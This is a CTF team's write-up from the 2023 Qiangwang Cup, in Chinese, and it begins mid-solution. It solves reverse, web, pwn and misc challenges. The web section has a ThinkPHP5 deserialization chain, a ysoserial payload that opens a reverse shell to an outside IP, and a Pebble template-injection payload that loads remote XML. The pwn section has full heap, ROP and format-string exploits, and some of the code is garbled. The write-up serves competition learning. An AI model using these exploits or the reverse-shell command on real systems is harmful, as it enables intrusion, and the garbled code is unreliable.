v1 -= ((v0 << 4) + key[2] ^ v0 + _sum ^ (v0 >> 5) + key[3])
v1 &= 0xFFFFFFFF
v0 -= ((v1 << 4) + key[0] ^ v1 + _sum ^ (v1 >> 5) + key[1])
v0 &= 0xFFFFFFFF
_sum -= _delta
_sum &= 0xFFFFFFFF
flag += struct.pack('<2I', v0, v1)
print(flag)
再回去调试发现反序列化异常时memoryStream的position为0x294
查看16进制发现确实是一大片0
想到FFF需要两个参数,猜测这两个参数就是填在这里,先填长度,再填内容
FFF最后是License.dat文件解密后md5与v10异或,Main打印v10
from hashlib import md5
h = md5(open(".\License_dec.dat", "rb").read()).digest()
v10 = bytearray.fromhex(
'3B416C6EDF5AF5E2067ADBAA93B016BE3C183A569661BCA67168E8C5EAE116B7284E6674')
for i in range(len(v10)):
v10[i] ^= h[i % len(h)]
print(v10)
# flag{d0tN3t_I5_Ea57_2_y09!G00d_Luck}
ezre:
d810去混淆
找来找去发现就是一个SM4
直接解密即可
WEB
thinkshop:
附件在本地起docker可以得到源码,审计发现admin路由
后台路径 /public/index.php/index/admin/login.html
1/123456登陆后台
审计发现在保存操作调用save->updatedata
在updatedata存在SQL注入,$key相当于是$data中的一个键值。
在保存商品时会调用saveGoods数据进行序列化之后保存到数据库
在编辑页面可以看到数据抽取时会进行反序列化操作
利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下
https://www.freebuf.com/vuls/317886.html
namespace thinkprocesspipes{
use thinkmodelPivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$aaa = new Windows('system','nl /f*');
echo base64_encode(serialize(array($aaa)));
}
namespace think{
abstract class Model
{}
}
namespace thinkmodel{
use thinkModel;
use thinkconsoleOutput;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relationBelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace thinkmodelrelation{
use thinkdbQuery;
use thinkmodelRelation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace thinkdb{
use thinkconsoleOutput;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace thinkconsole{
use thinksessiondriverMemcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace thinksessiondriver{
use thinkcachedriverMemcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace thinkcachedriver{
use thinkRequest;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0
在编辑页面修改抓包
放包
再次访问该商品得到flag
flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}
happygame:
使用grpcui工具
grpcui -plaintext ip:port
打开以后可以发现一个序列化参数。
猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码
java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64
发送该数据,即可成功反弹shell
PWN
warmup:
题目分析
高版本的off-by-null。
模板题,构造好堆布局,使用残留的地址绕过unlink检查即可构造出overlapped chunk。之后使用house of apple2的链子rop走orw读flag。
exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i):
sla(">> ", i)
def add(sz, data="deadbeef"):
cmd('1')
sla("Size: ", str(sz))
sa("Note: ", data)
def show(idx):
cmd('2')
sla("Index: ", str(idx))
def delete(idx):
cmd('3')
sla("Index: ", str(idx))
add(0x410) # 0
add(0xe0) # 1
add(0x430) # 2
add(0x430) # 3
add(0x100) # 4
add(0x480) # 5
add(0x420) # 6
add(0x10)
delete(0)
delete(3)
delete(6)
delete(2)
add(0x450, flat({0x438: p16(0x551)})) # 0
add(0x410) # 2
add(0x420) # 3
add(0x410) # 6
delete(6)
delete(2)
add(0x410) # 2
add(0x410) # 6
delete(6)
delete(3)
delete(5)
add(0x4f0, b"a"*0x488 + p64(0x431)) # 3
add(0x3b0) # 5
# add(0x410) # 6
delete(4)
add(0x108, b"a"*0x100 + p64(0x550))
add(0x410)
delete(3)
add(0x10)
show(6)
libcaddr = recv_current_libc_addr()
leak("libcaddr", libcaddr)
lbs = set_current_libc_base_and_log(libcaddr, 0x219ce0)
add(0x3f0)
add(0x60, flat({0x18: 0x91}))
add(0x3f0)
delete(6)
show(8)
heapaddr = (u64_ex(rl()[-6:-1]) << 12) + 0xc30
leak("heap addr", heapaddr)
delete(4)
delete(10)
stdoutaddr = libc.sym._IO_2_1_stdout_
add(0x80, flat({0x48: 0x401, 0x50: p64(((heapaddr + 0x470) >> 12) ^ (stdoutaddr-0x10))[:-1]}))
CurrentGadgets.set_find_area(find_in_elf=False, find_in_libc=True, do_initial=False)
pay = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_do_IO_operation(stdoutaddr, libc.sym._IO_wfile_jumps-0x20, CG.leave_ret(), CG.pop_rbp_ret(), heapaddr+0x470-0x8)
add(0x3f0, CG.orw_chain(heapaddr+0x538, heapaddr, buf_len=0x100) + b"/flagx00")
add(0x3f0, flat_z({0x10:pay}))
ia()
最后打远程:
A-rtsp:
题目分析
Rtsp协议,搜索相关字符串可知是live555开源库的代码。搜索协议的内容,rtsp协议会处理很多命令。自己编译一份二进制,然后使用bindiff查看差异。
从
https://zhuanlan.zhihu.com/p/47873659
可知,rtsp协议主要在处理一些命令,所以搜索命令相关的函数:
发现RTSPServer::RTSPClientConnection::handleCmd_GET_PARAMETER函数差异很大:
给了程序的地址,可以计算得到基地址。
用同样的方法找到了:
可以设置一个标志位
存在栈溢出。
具体可结合live555的源码,分析命令的处理流程。触发GET_PARAMETER和SET_PARAMETER需要url的suffix是*,DESCRIBE则可以是文件名。
最后的思路是:先拿到code地址,然后rop,使用orw拿到flag。
exp
from pwncli import *
gift.elf = ELF("./A-rtsp")
context.log_level = 'debug'
context.arch="amd64"
context.os='linux'
# 设置RTSP服务器的地址和端口
servers = "8.147.129.5"
port = 15947
# 连接服务器
conn = remote(servers, port)
gift.io = conn
seq = 1
track_url = "rtsp://{0}:{1}/*".format(servers, port)
request = f"GET_PARAMETER {track_url} RTSP/1.0rnCSeq: {seq}rnGET_INFO: 2023rnrn"
seq += 1
conn.send(request)
ru(" need this ")
addr = int16_ex(rl())
codebase = addr - 0x2A9990
set_current_code_base_and_log(codebase)
CG.set_find_area()
request = f"SET_PARAMETER {track_url} RTSP/1.0rnCSeq: {seq}rDESCRIBE_FLAG: qwbrnrn"
seq += 1
conn.send(request)
# 0x000000000002e098: mov qword ptr [rax + 0x10], rdx; nop; pop rbp; ret;
track_url = "rtsp://{0}:{1}/wavAudioTest".format(servers, port)
ssss = b"a"*(0x1a0-8-0xc) + b"xa0" + b"a"*7 + flat([
CG.pop_rax_ret(),
addr-0x10,
CG.pop_rdx_ret(),
u64_ex("/flag"),
0x000000000002e098 + codebase, 0,
CG.orw_chain(addr, addr+0x10, 6, 5, 0x60)
])
ssss= ssss.decode('latin-1')
request = f"DESCRIBE {track_url} RTSP/1.0rnCSeq: {seq}rnvul_string: {ssss}rnrn"
seq += 1
conn.send(request)
# 关闭连接
conn.interactive()
最后与远程交互:
chatting:
没尝试逆向找洞。直接fuzz出一个泄露libc地址原语,一个堆重叠原语后,逆懂read一个user的时候会free存储msg的
chunk就做出来了。fuzz脚本不对外分享。
但可以参考这位师傅的文章:
https://bbs.kanxue.com/thread-273516.htm
要等5-10秒左右才能getshell,因为read触发system的时候会遇到一堆没用数据被当成system函数参数。
exp
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 19:02:51
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc=ELF('./libc-2.27.so')
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def add(name):
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'add')
sla('Enter new username: ', (name))
sleep(0.1)
#......
def switch(name):
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'switch')
sla('nter username to switch to: ', (name))
sleep(0.1)
#......
def listuser():
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'listuser')
sleep(0.1)
#......
def read():
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'read')
sleep(0.1)
def dele(name):
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'delete')
sla('Enter username to delete: ', (name))
sleep(0.1)
#......
def message(name,sz,cont):
sla('Choose action (add, delete, switch, message, read, listuser, exit):', 'message')
sla('To: ', (name))
sla('Message size:', str(sz))
sla('Content: ', cont)
sleep(0.1)
sla('Enter new username: ','fxxker')
def leak_libc():
add(b'aaaaaaaaaaaaaaaaa')
dele(b'aaaaaaaaaaaaaaaaa')
message(b'fxxker',2311,b'a')
message(b'fxxker',1716,b'a')
dele(b'fxxker')
message(b'fxxker',96,b'a'*96)
read()
leak_lb = recv_current_libc_addr(0,0x100)
leak_ex2(leak_lb)
return leak_lb
lb = leak_libc() - 0x3ec3a0
libc.address = lb
leak_ex2(lb)
message(b'fxxker',1624,b'a')
switch(b'fxxker')
dele(b'fxxker')
dele(b'fxxker')
listuser()
read()
'''
b' fxxker -> fxxker: xa0x03xe7xd5x96x7fn'
'''
switch(b'fxxker')
dele(b'fxxker')
switch(b'fxxker')
switch(b'fxxker')
message(b'fxxker',3894,b'a')
switch(b'fxxker')
switch(b'fxxker')
dele(b'fxxker')
add(b'aaaaaaaa')
add(b'aaaa')
message(b'fxxker',2252,b'a')
message(b'fxxker',1737,flat({
0x10:'x00/bin/sh;x00',
1232-0x10:[
0,0x61
],
1737:''}))
read()
'''
b' Donen'
'''
dele(b'aaaaaaaa')
listuser()
add(b'aaaaaaa')
message(b'fxxker',1875,'a')
message(b'fxxker',1760-8,flat(
{
0:'/bin/shx00',
1232:libc.sym.__free_hook - 0x8
}
))
message(b'fxxker',0x60-8,flat(
{
0:'/bin/shx00',
0x60-8:''
}
))
message(b'fxxker',0x60-8,flat(
{
0:['/bin/shx00',
libc.sym.system]
}
))
add('fxxker')
read()
ia()
Simpleinterpreter:
C语言实现了一个C源码的解释器,但是并没有对危险操作进行限制(指针等),题目中还提供了函数malloc()、free()可以使用,需要注意的是数据类型和语法没有平时的编译器这么宽松
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell
from pwncli import *
cli_script()
set_remote_libc('libc-2.27.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
payload = '''
int c;
int main(){
int b;
int libc;
free_hook;
sh;
libc = 0 ;
free_hook = libc + 1;
free_hook = malloc(0x500);
sh = malloc(0x10);
free(free_hook);
libc = *free_hook - 0x3ebca0;
printf("%lx",libc);
free_hook = libc + 0x3ed8e8;
libc + 0x4F420; =
's'; =
'h'; =
free(sh);
return 0;
}
'''
',str(len(payload))) :
',payload) :
ia()
强网先锋
speedup:
纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了
https://oeis.org/A244060/list
sha256后得到flag
flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}
找到PNG了吗:
strings main.mem | grep "Linux version"
拿到内核版本后照着
https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/
做个linux的profile
python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"
桌面上能找到个文件have_your_fun.jocker
尝试导出,但为空
python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -O
have_your_fun.jocker
不知道如何恢复,直接尝试全局搜一下文件名
找到一个加密脚本,简单的两次rc4加密,key都给了
根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png
直接加密一下png头
可以直接定位到内存中残留的have_your_fun.jocker位置
直接解密得到flag图
flag{It's_So_Hard_To_Find_A_Picture}
trie:
题目分析
–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot
–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]
思路分析
–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。
–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)
–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)
exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"
def add(des, next):
io.recvuntil(b"4. Quit.")
io.sendline(b"1")
io.recvuntil(b"Input destination IP:")
io.sendline(des)
io.recvuntil(b"Input the next hop:")
io.sendline(next)
def show(des):
io.recvuntil(b"4. Quit.")
io.sendline(b"2")
io.recvuntil(b"Input destination IP:")
io.sendline(des)
def get_flag():
io.recvuntil(b"4. Quit.")
io.sendline(b"3")
def leak(data):
add(str(data).encode() + b".0.0.0", b"0.0.0.0")
get_flag()
show(str(data).encode() + b".0.0.0")
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag = ascii_values
return flag
add("0.0.0.0", "0.0.0.0") # 32
add("64.0.0.0", "0.0.0.0") # 2
add("32.0.0.0", "0.0.0.0") # 3
add("96.0.0.0", "0.0.0.0") # 2
add("16.0.0.0", "0.0.0.0") # 4
add("80.0.0.0", "0.0.0.0") # 2
add("48.0.0.0", "0.0.0.0") # 3
add("112.0.0.0", "0.0.0.0") # 2
add("0.4.0.0", "0.0.0.0") # 14
flag = ""
get_flag()
show(b"0.4.0.0") # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
flag += leak(128)
log.success(flag)
flag += leak(192)
log.success(flag)
flag += leak(160)
log.success(flag)
flag += leak(144)
log.success(flag)
flag += leak(208)
log.success(flag)
flag += leak(176)
log.success(flag)
flag += leak(240)
log.success(flag)
flag += leak(224)
log.success(flag)
add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0") # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()
ez_fmt:
格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
ru('There is a gift for you ')
leak_stack = int(rl()[:-1],16)
leak_ex2(leak_stack)
attack_stack = leak_stack - 0x8
pd = flat(
{
0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
0x18:[0x401205],
0x28:attack_stack,
}
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb
pd = flat(
{
0x18:[
CG.pop_rdi_ret(),
CG.bin_sh(),
lb + 0x51cd2]
}
)
S()
s(pd)
ia()
hello spring:
审计源码后发现是pepple的模板注入
发现过滤了
org.springframework.context.support.ClassPathXmlApplicationContext
用字符串拼接的方式绕过
org.springframework.context."+"support.ClassPathXmlApplicationContext
上传payload如下
POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567
content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D
上传的文件名与时间有关,并且题目环境的时间与现实不一样
public static String general_time() {
LocalDateTime currentTime = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
String var10000 = currentTime.format(formatter);
String fileName = "file_" + var10000 + ".pebble";
System.out.println("filename is " + fileName);
return fileName;
}
那么文件名就为 file_20231217_160502,发送payload去触发该点
GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
babyre:
调试发现密钥和密文都变了
加解密过程对应着修改
解密脚本
//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
for (int j = 0; j < 4; j++)
{
for (i = 0; i < num_rounds; i++)
{
v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
}
}
v[0] = v0;
v[1] = v1;
printf("sum==0x%xn", sum);
}
//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
for (int j = 0; j < 4; j++)
{
for (i = 0; i < num_rounds; i++)
{
sum += delta;
v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
}
}
v[0] = v0;
v[1] = v1;
printf("sum==0x%xn", sum);
}
//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
if (hex_or_chr)
{
for (int i = 0; i < n; i++)
{
printf("0x%x,", v[i]);
}
}
else
{
for (int i = 0; i < n; i++)
{
for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
}
printf("n");
return;
}
int main()
{
// v为要加解密的数据
uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
// k为加解密密钥,4个32位无符号整数,密钥长度为128位
uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
// num_rounds,建议取值为32
unsigned int r = 33;
int n = sizeof(v) / sizeof(uint32_t);
/*
printf("加密前明文数据:");
dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++)
{
encrypt(r, &v[i * 2], k);
}
*/
printf("加密后密文数据:");
dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++)
{
decrypt(r, &v[i * 2], k);
}
printf("解密后明文数据:");
dump_data(v, n, 1);
printf("解密后明文字符:");
dump_data(v, n, 0);
return 0;
}
// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun
ezre:
变表base64编解码交替
有个循环异或
先逆循环异或
enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
if v6 % 3 == 1:
v7 = (v7 + 5) % 20
v3 = v5[v7 + 1]
elif v6 % 3 == 2:
v7 = (v7 + 7) % 19
v3 = v5[v7 + 2]
else:
v7 = (v7 + 3) % 17
v3 = v5[v7 + 3]
v6 += 1
xor.append(v3)
for i in range(len(enc)-1, -1, -1):
enc[i] ^= enc[i-1]
if i <= len(enc)-2:
enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
再逆变表base64编解码再补全
flag{3ea590ccwxehg715264fzxnzepqz}
石头剪刀布:
因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。
由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。
from pwn import remote
ip = '<ip>'
port = '<port>'
class GetStatus:
def __init__(self, _ip=ip, _port=port) -> None:
self.r = remote(_ip, _port)
self.score = 0
def getdiff(self, out):
self.r.sendlineafter('请出拳'.encode(), str(out).encode())
self.r.recvuntil('分数:'.encode())
newscore = int(self.r.recvline().decode())
diff = newscore - self.score
self.score = newscore
return diff
def test_list(self, lis):
for out in lis:
diff = self.getdiff(out)
if self.score >= 260:
return 'win'
return diff
current_best = [0] * 5
diff2out = {
3: 0,
1: 2,
0: 1
}
while len(current_best) <= 100:
current_best.append(0)
c = GetStatus()
diff = c.test_list(current_best)
if c.score >= 260:
c.r.interactive()
break
c.r.close()
current_best[-1] = diff2out[diff]
print(f'Round {len(current_best)}: {current_best}')
FOOTER
团队简介:
山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u战队与W4ntY0u预备队隶属于CTF组,我们积极参与各大网络安全竞赛,欢迎你的加入~
原文始发于微信公众号(山海之关):2023 强网杯 writeup by Arr3stY0u